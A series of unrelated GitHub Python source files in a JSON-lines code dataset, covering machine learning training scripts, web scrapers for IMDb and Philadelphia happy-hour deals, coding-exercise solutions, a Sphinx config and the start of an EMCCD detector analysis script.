os.makedirs(\"./fc_models\", exist_ok=True)\n for i in range(num_nets):\n torch.save(nets[i], \"./\" + args.filename + \"_{}.pth\".format(i))\n if args.wandb_name is not None:\n wandb.finish()\n return train_loss_list, train_acc_list, test_loss_list, test_acc_list, fusing_test_loss_list, fusing_test_acc_list, fusing_plan, fusing_num\n\n\ndef main():\n if num_nets == 0:\n net = build(args.model_name, decomp=args.decom)\n print(net)\n train_loss, train_acc, test_loss, test_acc = train(args.epochs, net)\n save_record_and_draw(train_loss, train_acc, test_loss, test_acc, model_name=args.model_name)\n else:\n nets = []\n for _ in range(num_nets):\n nets.append(build(args.model_name, num_nets, decomp=False))\n train_loss_, train_acc_, test_loss_, test_acc_, fusing_test_loss_, fusing_test_acc_, fusing_plan, fusing_num = train_multi_nets(\n args.epochs, nets)\n save_record_and_draw(train_loss_, train_acc_, test_loss_, test_acc_, fusing_test_loss_, fusing_test_acc_,\n num_nets, fusing_plan, fusing_num, args.filename)\n\n\nif __name__ == \"__main__\":\n if args.wandb_name is not None:\n import wandb\n wandb.init(\n project='zj-spectral-TNN-CIFAR',\n # sync_tensorboard=True,\n name=args.wandb_name,\n config={\n \"learning_rate\": args.lr,\n \"architecture\": args.model_name,\n \"dataset\": args.dataset,\n \"epochs\": args.epochs,\n \"batch_size\": args.batch_size,\n \"optimizer\": args.opt,\n \"lr_scheduler\": args.scheduler,\n \"sub-nums\": num_nets,\n \"workers\": args.workers,\n \"gep-p\": args.geo_p,\n \"device\": args.device\n }\n )\n\n main()\n","repo_name":"XiaoYangLiu-FinRL/Tensor_Layer_Neural_Networks","sub_path":"MNIST & CIFAR10/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":20372,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"32741158766","text":"#set up \nimport torch \nimport torchvision\nimport matplotlib.pyplot as plt \nfrom torch import nn \nfrom torchvision import transforms, datasets\nfrom torch.utils.data import DataLoader\nimport os \nfrom torchinfo import summary \nfrom tqdm.auto import tqdm\nfrom typing import Dict, List, Tuple\nfrom pathlib import Path\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n#get data\nimage_path = \"DermNet\"\ntrain_dir = f\"{image_path}/train\"\ntest_dir = f\"{image_path}/test\"\n\n#preprocess data\n\ndef create_dataloaders(\n train_dir: str, \n test_dir: str, \n transform: transforms.Compose, \n batch_size: int, \n num_workers: int= os.cpu_count()\n):\n # Use ImageFolder to create dataset(s)\n train_data = datasets.ImageFolder(train_dir, transform=transform)\n test_data = datasets.ImageFolder(test_dir, transform=transform)\n\n # Get class names\n class_names = train_data.classes\n\n # Turn images into data loaders\n train_dataloader = DataLoader(\n train_data,\n batch_size=batch_size,\n shuffle=True,\n num_workers=num_workers,\n pin_memory=True,\n )\n test_dataloader = DataLoader(\n test_data,\n batch_size=batch_size,\n shuffle=False,\n num_workers=num_workers,\n pin_memory=True,\n )\n\n return train_dataloader, test_dataloader, class_names\n\nmanual_transforms = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor(),])\n\ntrain_dataloader, test_dataloader, class_names = create_dataloaders(\n train_dir=train_dir,\n test_dir=test_dir,\n transform=manual_transforms, \n batch_size=32\n)\n\n#Replicating ViT Architecture\n\nclass PatchEmbedding(nn.Module):\n\n def __init__(self, \n in_channels:int=3,\n patch_size:int=16,\n embedding_dim:int=768):\n super().__init__()\n\n self.patch_size = patch_size\n\n self.patcher = nn.Conv2d(in_channels=in_channels,\n out_channels=embedding_dim,\n kernel_size=patch_size,\n stride=patch_size,\n padding=0)\n\n \n self.flatten = nn.Flatten(start_dim=2, \n end_dim=3)\n\n def forward(self, x):\n image_resolution = x.shape[-1]\n assert image_resolution % self.patch_size == 0, f\"Input image size must be divisble by patch size, image shape: {image_resolution}, patch size: {patch_size}\"\n \n x_patched = self.patcher(x)\n x_flattened = self.flatten(x_patched) \n return x_flattened.permute(0, 2, 1)\n\n\nrandom_image_tensor = torch.randn(32, 3, 224, 224)\n\npatch_embedding_object = PatchEmbedding(patch_size=16)\npatch_embedding_obj_output = patch_embedding_object(random_image_tensor)\n\n#Transformer Layers\ntransformer_encoder_layer = nn.TransformerEncoderLayer(d_model=768,\n nhead=12,\n dim_feedforward=3072,\n dropout=0.1,\n activation=\"gelu\",\n batch_first=True,\n norm_first=True)\n\ntransformer_encoder = nn.TransformerEncoder(\n encoder_layer=transformer_encoder_layer,\n num_layers=12)\n\nclass VisionTransformer(nn.Module): \n def __init__(self,\n img_size=224, \n num_channels=3,\n patch_size=16,\n embedding_dim=768, \n dropout=0.1, \n mlp_size=3072, \n num_transformer_layers=12, \n num_heads=12,\n num_classes=1000): \n super().__init__()\n\n assert img_size % patch_size == 0, \"Image size must be divisble by patch size.\"\n\n self.patch_embedding = PatchEmbedding(in_channels=num_channels,\n patch_size=patch_size,\n embedding_dim=embedding_dim)\n\n self.class_token = nn.Parameter(torch.randn(1, 1, embedding_dim),\n requires_grad=True)\n\n num_patches = (img_size * img_size) // patch_size**2 # N = HW/P^2\n self.positional_embedding = nn.Parameter(torch.randn(1, num_patches+1, embedding_dim))\n self.embedding_dropout = nn.Dropout(p=dropout)\n\n self.transformer_encoder = nn.TransformerEncoder(encoder_layer=nn.TransformerEncoderLayer(d_model=embedding_dim,\n nhead=num_heads,\n dim_feedforward=mlp_size,\n activation=\"gelu\",\n batch_first=True,\n norm_first=True),\n num_layers=num_transformer_layers) \n\n self.mlp_head = nn.Sequential(\n nn.LayerNorm(normalized_shape=embedding_dim),\n nn.Linear(in_features=embedding_dim,\n out_features=num_classes)\n )\n\n def forward(self, x):\n batch_size = x.shape[0]\n x = self.patch_embedding(x)\n class_token = self.class_token.expand(batch_size, -1, -1)\n x = torch.cat((class_token, x), dim=1)\n x = self.positional_embedding + x\n x = self.embedding_dropout(x)\n x = self.transformer_encoder(x)\n x = self.mlp_head(x[:, 0])\n return x\n\ndemo_img = torch.randn(1, 3, 224, 224).to(device)\n\nvit = VisionTransformer(num_classes=len(class_names)).to(device)\nvit(demo_img)\n\nvit_weights = torchvision.models.ViT_B_16_Weights.DEFAULT \npretrained_vit = torchvision.models.vit_b_16(weights=vit_weights)\n\nfor param in pretrained_vit.parameters():\n param.requires_grad = False\n\nembedding_dim = 768 \n\npretrained_vit.heads = nn.Sequential(\n nn.LayerNorm(normalized_shape=embedding_dim),\n nn.Linear(in_features=embedding_dim, \n out_features=len(class_names))\n)\n\nsummary(model=pretrained_vit, \n input_size=(1, 3, 224, 224), \n col_names=[\"input_size\", \"output_size\", \"num_params\", \"trainable\"],\n col_width=20,\n row_settings=[\"var_names\"]\n)\n\ndef train_test_step(model, train_dataloader, test_dataloader, optimizer, loss_fn, epochs, device):\n \n criterion = loss_fn\n train_losses = []\n test_losses = []\n true_values = []\n predicted_values = []\n num_epochs = epochs\n\n for epoch in range(num_epochs):\n print(f\"Epoch {epoch+1}/{num_epochs}\\n-------\")\n model.train()\n train_loss_sum = 0.0\n\n print(\"Training:\")\n for batch, (images, values) in tqdm(enumerate(train_dataloader)):\n images = images.to(device)\n values = values.to(device)\n outputs = model(images)\n loss = criterion(outputs, values)\n train_loss_sum += loss.item()\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n train_loss_sum /= len(train_dataloader)\n train_losses.append(train_loss_sum)\n model.eval()\n test_loss_sum = 0.0\n\n print(\"Testing:\")\n with torch.no_grad():\n for batch, (images, values) in tqdm(enumerate(test_dataloader)):\n images = images.to(device)\n values = values.to(device)\n outputs = model(images)\n loss = criterion(outputs, values)\n test_loss_sum += loss.item()\n test_loss_sum /= len(test_dataloader)\n test_losses.append(test_loss_sum)\n \n print(test_loss_sum + \"\" + train_loss_sum)\n\n torch.save({\n 'epoch': epoch,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': loss\n }, 'vit_hackru.pt')\n\ntest_data_paths = list(Path(test_dir).glob(\"*/*.jpg\"))\ntest_labels = [path.parent.stem for path in test_data_paths]\n\ndef pred_and_store(test_paths, model, transform, class_names, device):\n test_pred_list = []\n for path in tqdm(test_paths):\n pred_dict = {}\n pred_dict[\"image_path\"] = path\n class_name = path.parent.stem\n pred_dict[\"class_name\"] = class_name\n\n from PIL import Image\n img = Image.open(path)\n transformed_image = transform(img).unsqueeze(0) \n model.eval()\n with torch.inference_mode():\n pred_logit = model(transformed_image.to(device))\n pred_prob = torch.softmax(pred_logit, dim=1)\n pred_label = torch.argmax(pred_prob, dim=1)\n pred_class = class_names[pred_label.cpu()]\n pred_dict[\"pred_class\"] = pred_class\n \n pred_dict[\"correct\"] = class_name == pred_class\n test_pred_list.append(pred_dict)\n\n return test_pred_list\n\nif __name__ == '__main__':\n optimizer = torch.optim.Adam(params=pretrained_vit.parameters(), lr=1e-3)\n results = train_test_step(model=pretrained_vit,\n train_dataloader=train_dataloader,\n test_dataloader=test_dataloader,\n optimizer=optimizer,\n loss_fn=torch.nn.CrossEntropyLoss(),\n epochs=1,\n device=device)\n \n vit_transforms = vit_weights.transforms()\n test_pred_dicts = pred_and_store(test_paths=test_data_paths,\n model=pretrained_vit,\n transform=vit_transforms,\n class_names=class_names,\n device=device)\n\n test_pred_dicts[:1].values()\n ","repo_name":"adarnara/HackRU-Fall2023","sub_path":"vit.py","file_name":"vit.py","file_ext":"py","file_size_in_byte":9822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36467142231","text":"import unittest\nfrom file_search import SearchByName, SearchByContent\n\nDIRECTORY_LIST = [\"test/testfolder1\",\n \"test/testfolder2\"]\n\nTEST_DUPLICATE_LIST_BY_NAME = ['test/testfolder1/testfile2',\n 'test/testfolder1/subtestfolder1/testfile2',\n 'test/testfolder2/testfile2',\n 'test/testfolder1/testfile1',\n 'test/testfolder2/testfile1',\n 'test/testfolder1/subtestfolder2/testfile123',\n 'test/testfolder2/subtestfolder1/testfile123']\n\nTEST_DUPLICATE_LIST_BY_CONTENT = ['test/testfolder1/testfile2',\n 'test/testfolder1/subtestfolder1/testfile11',\n 'test/testfolder2/subtestfolder1/testfile123']\n\n\nclass TestFileSearch(unittest.TestCase):\n def test_do_search_by_name(self):\n searcher_by_name = SearchByName()\n file_dict_lists = [searcher_by_name.get_all_items(directory) for directory in DIRECTORY_LIST]\n duplicate_list = searcher_by_name.do_search(file_dict_lists)\n\n self.assertListEqual(duplicate_list, TEST_DUPLICATE_LIST_BY_NAME)\n\n def test_do_search_by_content(self):\n searcher_by_content = SearchByContent()\n file_dict_lists = [searcher_by_content.get_all_items(directory) for directory in DIRECTORY_LIST]\n duplicate_list = searcher_by_content.do_search(file_dict_lists)\n\n self.assertListEqual(duplicate_list, TEST_DUPLICATE_LIST_BY_CONTENT)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"RuslanValiakhmetov/SearchDuplicateFiles","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74087155992","text":"# char을 int로 바꾸는 것을 ord()를 사용한다는 것을 검색을 통해 알아내었고 이를 통해 문제를 해결할 수 있었다.\n# moveX, moveY로 넣어두는 패턴은 어느정도 감을 잡은 것 같다\nn = input()\nX = ord(n[0])-96\nY = int(n[1])\ncount = 0\n\nmoveX = [1,2,2,1,-1,-2,-2,-1]\nmoveY = [-2,-1,1,2,2,1,-1,-2]\n\nfor i in range(len(moveX)):\n changeX = X+moveX[i]\n changeY = Y+moveY[i]\n\n if changeX >=1 and changeX <=8 and changeY >=1 and changeY <=8:\n count+=1\n\nprint(count)\n","repo_name":"maatanyy/codingtest_study","sub_path":"이코테/implementation/왕실의나이트.py","file_name":"왕실의나이트.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71972564952","text":"import requests\nimport lxml.html\nimport pandas as pd\nimport numpy as np\nimport csv\nimport re\n\"\"\"\nget the list of movie ids from the Kaggle 5000 movie dataset.\nthe keywords are incomplete so I'm trying to build a scraper to get all of the keywords.\nit looks like the scraper Kaggle used only took the keywords off the main page instead \nof looking at the full list on the dedicated keyword page.\n\"\"\"\n\n\n\n#read movie_metadata.csv into a DataFrame\nmovies_csv = pd.read_csv('C:/Users/Brendan/Desktop/MovieDatasets/movie_metadata.csv')\n\n\nmovie_main_page_links = list(movies_csv['movie_imdb_link'])\n#create a list of links with the end trimmed off to allow us to append keywords to the address\nmovie_main_page = []\nfor i in range(len(movie_main_page_links)):\n movie_main_page.append(movie_main_page_links[i][:36])\n \n#now we have a list of links that we can feed into the get_keywords method\n\n \n# a method that takes an movie's main page address returns all the keywords associated with that particular movie\ndef get_keywords(movie_main_page):\n page = requests.get(movie_main_page+'keywords')\n parsed_page = lxml.html.document_fromstring(page.text)\n keywords = parsed_page.find_class('sodatext')\n all_keywords = []\n end = len(keywords)\n for i in range(end): all_keywords.append(keywords[i].text_content().strip())\n return all_keywords\n\n\"\"\"\ncreate a loop to go through all the 5000+ keyword sites and stick the keyword\nlist that is returned in a dictionary with the FULL movie_imdb_link as the key.\nI want to merge the results with the Kaggle dataset so I need the keys to match the\nkeys in the csv file.\n\"\"\"\n\n#create a dictionary with the unique movie page link as the key and a list of keywords as the value\n#takes about one second per page\n#I need to wait until I have 1.5 hours to let it run\n\"\"\"\nmovies = {}\nn = len(movie_main_page)\nfor i in pbar(range(n)):\n movies[movie_main_page_links[i]] = get_keywords(movie_main_page[i])\n print(str(i+1)+\" of \"+str(n))\n \n\"\"\"\n#scraped data is now saved in C:/Users/Brendan/Desktop/MovieDatasets/movies.csv\n\n#export the movies dict to a csv so you don't have to rescrape everything again!\n\"\"\"\nw = csv.writer(open(\"C:/Users/Brendan/Desktop/MovieDatasets/movies.csv\", \"w\"))\nfor key, val in movies.items(): w.writerow([key, val])\n\"\"\"\n\n\n#import movies.csv as a DataFrame and name the columns explicitly because there are no headers\n#name the link column to match the other csv to allow an easy merge\nmovies_df = pd.read_csv(\"C:/Users/Brendan/Desktop/MovieDatasets/movies.csv\", header=None, names = ['movie_imdb_link','keywords'])\n\n#combine both DataFrames on movie_imdb_link column\nmovies_complete = movies_df.merge(movies_csv, how='inner', on = 'movie_imdb_link')\n\n#export the complete DataFrame to a csv file \nw = csv.writer(open(\"C:/Users/Brendan/Desktop/MovieDatasets/movies_complete.csv\", \"w\"))\nfor key, val in movies_complete.items(): w.writerow([key, val])\n\n\"\"\"everything above this line worked as intended\"\"\"\n\n\"\"\"\nlooks at the first list of keywords in the keywords column of the movies_complete DataFrame\nuse this to iterate through each list to compile a master list from which the number\nof occurrences of each keyword can be counted\n\"\"\"\nx = movies_complete['keywords'][0]\ny = re.split('\\W+\\s', x)\n\n\n#remove non-alpha and non-whitespace characters from strings in y[0]\n#need to generalize \nre.sub(r'[^\\w\\s]', '', y[0])\n\n#create a list with keywords with unnecessary characters removed\nclean_list = []\nfor i in range(len(y)):\n clean_list.append(re.sub(r'[^\\w\\s]', '', y[i]))\n \n\nclean_list\n\n#movies_complete_dummies = pd.get_dummies(movies_complete)\n#darn, this made dummies out of each keyword list not each keyword\n#find a way to flatten the keywords so the list isn't the dummy, the keyword is.\n\n#this creates a csv file with 31486 columns. This needs to be narrowed to run a regression with 5000 obs\n#maybe narrow it down to 50 most common keywords\n\"\"\"\nw = csv.writer(open(\"C:/Users/Brendan/Desktop/MovieDatasets/movies_complete_dummies.csv\", \"w\"))\nfor key, val in movies_complete_dummies.items(): w.writerow([key, val])\n\"\"\"","repo_name":"bpeek/machine_learning","sub_path":"misc/imdb/imdb_scraper.py","file_name":"imdb_scraper.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26852041108","text":"# See docs/language/word_categories for more info\n\nDT = 'DT'\nEX = 'EX'\nIN = 'IN'\nIS = 'IS'\nRP = 'RP'\nTO = 'TO'\n\nPOS = 'POS'\nPRP = 'PRP'\nPRPs = 'PRP$'\nCD = 'CD'\nJJ = 'JJ'\nNN = 'NN'\nNNS = 'NNS'\nRB = 'RB'\nVB = 'VB'\nVBD = 'VBD'\nVBG = 'VBG'\nVBN = 'VBN'\nVBP = 'VBP'\nVBZ = 'VBZ'\nCC = 'CC'\nJJR = 'JJR'\nJJS = 'JJS'\nMD = 'MD'\nPDT = 'PDT'\nRBR = 'RBR'\nRBS = 'RBS'\n\nFW = 'FW'\nNNP = 'NNP'\nNNPS = 'NNPS'\nUH = 'UH'\nWDT = 'WDT'\nWP = 'WP'\nWPs = 'WP$'\nWRB = 'WRB'\n\nBASE_POWER = {}\n\n# Function Words\nFUNCTION_WORDS = [DT, EX, IN, IS, RP, TO]\nBASE_POWER.update(dict.fromkeys(FUNCTION_WORDS, 1))\n\n# Content Words\nCONTENT_WORDS_1 = [POS, PRP, PRPs]\nCONTENT_WORDS_2 = [CD, JJ, NN, NNS, RB, VB, VBD, VBG, VBN, VBP, VBZ]\nCONTENT_WORDS_3 = [CC, JJR, JJS, MD, PDT, RBR, RBS]\nCONTENT_WORDS = [POS, PRP, PRPs, CD, JJ, NN, NNS, RB, VB, VBD, VBG, VBN, VBP,\n VBZ, JJR, JJS, MD, PDT, RBR, RBS]\nBASE_POWER.update(dict.fromkeys(CONTENT_WORDS_1, 2.2))\nBASE_POWER.update(dict.fromkeys(CONTENT_WORDS_2, 3))\nBASE_POWER.update(dict.fromkeys(CONTENT_WORDS_3, 3.8))\n\n# Unique Words\nUNIQUE_WORDS = [FW, NNP, NNPS, UH, WDT, WP, WPs, WRB]\nBASE_POWER.update(dict.fromkeys(UNIQUE_WORDS, 5))\n\n\n# Fuzzy params\nFUZZY_LOW = \"low\"\nFUZZY_MED = \"med\"\nFUZZY_HIG = \"high\"\n\nFUZZY_EX = \"extreme\"\nFUZZY_EW = \"extra\"\nFUZZY_CR = \"critical\"\nFUZZY_EN = \"enduring\"\nFUZZY_VU = \"vulnerable\"\nFUZZY_NT = \"not_timely\"\nFUZZY_LC = \"least_concern\"\n\nFUZZY_KEYNESS_CONFIDENCE = [0.1, 0.3, 0.4, 0.7]\nCONFIDENCES = {\n FUZZY_LC: 7.14,\n FUZZY_NT: 21.43,\n FUZZY_VU: 35.71,\n FUZZY_EN: 50.00,\n FUZZY_CR: 64.29,\n FUZZY_EW: 78.57,\n FUZZY_EX: 92.86\n}\n","repo_name":"nickumia/nlp","sub_path":"nlp/language/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42082232182","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nfrom tabulate import tabulate\nfrom geopy.geocoders import Nominatim\nimport time\nimport os\nimport folium\nimport re\nimport json\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n# ------------------------------------------------\n# This script does = Opens each sips bar modal for its information\n# ------------------------------------------------\n\nurl = 'https://centercityphila.org/explore-center-city/ccd-sips/sips-list-view#cavanaugh-s-rittenhouse'\n\ndf = pd.read_csv('AllSipsLocations.csv')\n\n# driver = webdriver.Chrome()\n\n# Create an empty list to store the extracted \"Deals\" content\ndeals_list = []\n\n# Loop through each row in the DataFrame\nfor index, row in df.iterrows():\n # Get the URL value for each row\n url = row['Url']\n\n # Open the URL with the webdriver\n driver = webdriver.Chrome()\n driver.get(url)\n\n # Wait for modal to load\n driver.implicitly_wait(2) \n\n # Find modal div\n modal = driver.find_element(By.CSS_SELECTOR, '.c-modal[data-role=\"modal-viewport\"]')\n # Find title \n title = modal.find_element(By.CSS_SELECTOR, '.c-modal__title')\n bar = title.text\n print(bar)\n # Get content\n content = modal.find_element(By.CSS_SELECTOR, '.apos-rich-text')\n deals = content.text\n print(deals)\n # Append the extracted \"Deals\" content to the list\n deals_list.append(deals)\n driver.quit()\n\n# driver.quit()\n\n# Add the \"Deals\" content to the DataFrame as a new column\ndf['Deals'] = deals_list\n\n# Save the updated DataFrame back to the CSV file with the same name\ndf.to_csv('AllSipsLocations.csv', index=False)\ndf = pd.read_csv('AllSipsOriginal.csv')\n# Initialize empty lists for each deal type\ncocktails = []\nwine = []\nbeer = []\nappetizers = []\n\n# Iterate through each row in the DataFrame\nfor row in df.itertuples():\n # Use regular expressions to extract data for each deal type\n cocktails_match = re.search(r'\\$7 Cocktails(.*?)\\$6 Wine', row.Deals, re.DOTALL)\n wine_match = re.search(r'\\$6 Wine(.*?)\\$5 Beer', row.Deals, re.DOTALL)\n beer_match = re.search(r'\\$5 Beer(.*?)Half-Priced Appetizers', row.Deals, re.DOTALL)\n appetizers_match = re.search(r'Half-Priced Appetizers(.*?)$', row.Deals, re.DOTALL)\n\n # Append extracted data to respective lists\n if cocktails_match:\n cocktails.append(cocktails_match.group(1).strip())\n else:\n cocktails.append(None)\n if wine_match:\n wine.append(wine_match.group(1).strip())\n else:\n wine.append(None)\n if beer_match:\n beer.append(beer_match.group(1).strip())\n else:\n beer.append(None)\n if appetizers_match:\n appetizers.append(appetizers_match.group(1).strip())\n else:\n appetizers.append(None)\n\n# Create a new DataFrame with the extracted data\n# Add the new columns to the DataFrame\ndf['Cocktails'] = cocktails\ndf['Wine'] = wine\ndf['Beer'] = beer\ndf['Half-Priced Appetizers'] = appetizers\n\n# Drop the original 'Deals' column\ndf.drop(columns=['Deals'], inplace=True)\n\n# Write the updated DataFrame to the same CSV file\ndf.to_csv('AllSipsLocations.csv', index=False)","repo_name":"LouieR3/Philly-Happy-Hour-Map","sub_path":"Sips/Phase 1/readModalForDeals.py","file_name":"readModalForDeals.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33384959157","text":"arr = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"]\nn = int(input(\"Enter value of P: \"))\nd = int(input(\"Enter value of d (0 or 1): \"))\n# print(val)\n# n = 3\noutput = arr.copy()\n\nfor key,val in enumerate(arr):\n if(d == 0):\n posit = (key - n)\n if(posit < 0):\n posit = len(arr) + posit\n output[posit] = val\n if(d == 1):\n posit = (key + n)\n if(posit >= len(arr)):\n posit = posit - len(arr)\n output[posit] = val\nprint(output)","repo_name":"FaizShaikh0705/python_projects","sub_path":"rotateArray/rotateArray.py","file_name":"rotateArray.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"639701952","text":"import sys, os\n\nneeds_sphinx = '1.0'\n\nextensions = ['sphinx.ext.autodoc','rst2pdf.pdfbuilder']\n\ntemplates_path = ['_templates']\n\nsource_suffix = '.rst'\n\nsource_encoding = 'utf-8-sig'\n\nmaster_doc = 'index'\n\nproject = u'Sphinx-Maven'\ncopyright = u'2011, Thomas Dudziak'\n\nversion = '1.0.2'\nrelease = '1.0.2'\n\nexclude_trees = ['.build']\n\nadd_function_parentheses = True\n\npygments_style = 'trac'\n\nmaster_doc = 'index'\n\n# -- Options for HTML output ---------------------------------------------------\nsys.path.append(os.path.abspath('_themes'))\n\nhtml_theme = 'bootstrap'\n\nhtml_theme_path = [\"_themes\"]\n\nhtml_short_title = \"Sphinx-Maven\"\n\nhtml_static_path = ['_static']\n\nhtml_use_smartypants = True\n\nhtml_use_index = True\n\nhtmlhelp_basename = 'sphinxmavendoc'\n\nhtml_sidebars = {\n 'index': ['globaltoc.html', 'relations.html', 'sidebarintro.html', 'searchbox.html'],\n '**': ['globaltoc.html', 'relations.html', 'sidebarintro.html', 'searchbox.html']\n}\n\n# -- Options for PDF output ---------------------------------------------------\npdf_documents = [\n ('index', u'Sphinx-Maven', u'Sphinx-Maven', u'Thomas Dudziak'),\n]\n","repo_name":"tomdz/sphinx-maven","sub_path":"src/site/sphinx/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"5"} +{"seq_id":"32648235215","text":"# _*_coding:utf-8 _*_\n# @Time : 2021/6/10 22:34\n# @Author : Guo \n# @File : 518. 零钱兑换 II.py\n# @Desc : https://leetcode-cn.com/problems/coin-change-2/\n\n\"\"\"\n给定不同面额的硬币和一个总金额。写出函数来计算可以凑成总金额的硬币组合数。假设每一种面额的硬币有无限个。 \n\n示例 1:\n输入: amount = 5, coins = [1, 2, 5]\n输出: 4\n解释: 有四种方式可以凑成总金额:\n5=5\n5=2+2+1\n5=2+1+1+1\n5=1+1+1+1+1\n\"\"\"\n\n\nclass Solution:\n def change(self, amount, coins) -> int:\n \"\"\"\n dp[i] 截至i时的兑换数目种类\n \"\"\"\n dp = [0] * (amount + 1)\n dp[0] = 1\n for coin in coins:\n for i in range(coin, amount + 1):\n dp[i] += dp[i - coin]\n\n return dp[amount]","repo_name":"GMbappe/leetcode","sub_path":"动态规划+贪心/518. 零钱兑换 II.py","file_name":"518. 零钱兑换 II.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"16973831173","text":"\"\"\"\r\nEMCCD_QQ_ANALYSIS - Python scripts and libararies for analysis of EMCCD QE measurement data taken with the UV-VIS Detector Characterisation Setup at Hamden UV/Vis Detector lab.\r\n\"\"\"\r\n\r\n__version__ = \"0.0.2\"\r\n\r\n\"\"\"Importing libraries for OS commands and file systems\"\"\"\r\nimport os\r\nimport os.path\r\nimport glob\r\n\r\n\"\"\"Importing libraries for numerical cacluations and data storage. \"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy import interpolate\r\nfrom scipy.optimize import curve_fit\r\nfrom scipy import odr\r\n\r\n\"\"\"Importing astropy modules for handling fits files, plotting and modeeling. \"\"\"\r\nfrom astropy.io import fits\r\nfrom astropy.nddata import Cutout2D\r\nfrom astropy import units as u\r\nfrom astropy.visualization import (MinMaxInterval, SqrtStretch,\r\n ImageNormalize,HistEqStretch,ZScaleInterval)\r\nfrom astropy.modeling import models, fitting\r\nfrom astropy.utils.exceptions import AstropyUserWarning\r\n\r\n\"\"\"importing libraries for plotting.\"\"\"\r\n# from pylab import *\r\nimport matplotlib.pylab as plt\r\nimport matplotlib.colors as clr\r\nimport matplotlib.colors as mcolors\r\nimport random\r\nimport warnings\r\n\r\n\"\"\"Updating Matplotlib options for plotting\"\"\"\r\nplt.rc('font', size=15) # controls default text sizes\r\nplt.rc('axes', titlesize=25) # fontsize of the axes title\r\nplt.rc('axes', labelsize=15) # fontsize of the x and y labels\r\nplt.rc('xtick', labelsize=15) # fontsize of the tick labels\r\nplt.rc('ytick', labelsize=15) # fontsize of the tick labels\r\nplt.rc('xtick.major', size=14) # size of the tick markers\r\nplt.rc('ytick.major', size=14) # size of the tick markers\r\nplt.rc('xtick.minor', size=10) # size of the tick markers\r\nplt.rc('ytick.minor', size=10) # size of the tick markers\r\nplt.rc('legend', fontsize=15) # legend fontsize\r\nplt.rcParams['figure.figsize'] = [18, 12] # set plotsize\r\ncolors=['plum','green','gold','firebrick','dodgerblue','magenta','blue','lawngreen','cyan','navy','sienna','tomato','teal'] #default colors for plots\r\n\r\n\"\"\"\r\nSetting Global Variables to be used across various funcitons in this script\r\n\"\"\"\r\nglobal detector_name, conversion_gain\r\nglobal dir_path, path_detector_metadata, path_coat_regions_metadata,path_analysis_regions_metadata,path_photodidode_database,dir_region_figs\r\nglobal scan_name,coat_regions,analysis_regions,photodiode_data\r\n\r\n\"\"\" \r\nSettings specific to detector being tested\r\n\"\"\"\r\ndetector_name=\"w18d10\"\r\nconversion_gain=1.364 #e-/ADU\r\n\r\n\"\"\"Location of the data files\"\"\"\r\ndir_path=r'D:\\Nuvu_data\\w18d10\\qe_07112023\\qe_07112023\\qe5' ## folder with exposure, dark and bias taken during QE scans. For each wavelength we have one dark, one flat and one bias. \r\npath_photodidode_database=r'D:\\Nuvu_data\\w18d10\\qe_07112023\\qe_07112023\\qe5\\Photodiode_db_qe_07112023_qe5.csv' ##filepath to database wiht measurements for photodiode at each wavelength. The current for the sideport photodidoe is logged through the entire exposure median dark and neduab count rate are extracted from the raw data using a seperate script. The photodidoe raw data is also located in the dir_path folder. \r\n\r\n\r\n\"\"\"Detector Meta data\"\"\"\r\npath_detector_metadata=r\"D:\\Nuvu_data\\w18d10\\detector_metadata_w18d10\\w18d10_metadata.csv\" # specific information related to detector under test, eg detector name, lot number, number of coatings, processing history. \r\npath_coat_regions_metadata=r\"D:\\Nuvu_data\\w18d10\\detector_metadata_w18d10\\w18d10_coat_regions_metadata.csv\" # database of the different block coatings on the block coated detectors. \r\npath_analysis_regions_metadata=r\"D:\\Nuvu_data\\w18d10\\detector_metadata_w18d10\\w18d10_analysis_regions_metadata.csv\" # database of the different regions that will be extracted for QE analysis. These can be modified by modifying the csv file to set any arbitrary rectangular region for analyiss. In future version, we will have regions selected from pyds9 and astropy regions. \r\n\r\n\"\"\"File management: All figurees stored in figs folder in the same parent folder as the raw data. The regiosn folder is used to store images with the different regions that have been extracted for analysis\"\"\"\r\ndir_region_figs=os.path.join(dir_path,r'figs\\regions')\r\nif os.path.exists(os.path.dirname(dir_region_figs))==False: #check if folder exists \r\n os.mkdir(os.path.dirname(dir_region_figs)) # not create the folder \r\nif os.path.exists(dir_region_figs)==False: #check if folder exists \r\n os.mkdir(dir_region_figs) # not create the folder \r\n\r\n\"\"\"Name of the scan for creating assocaited data product names using the folder name in which the raw data is stored. These fodlernames are created delibrately to organize the 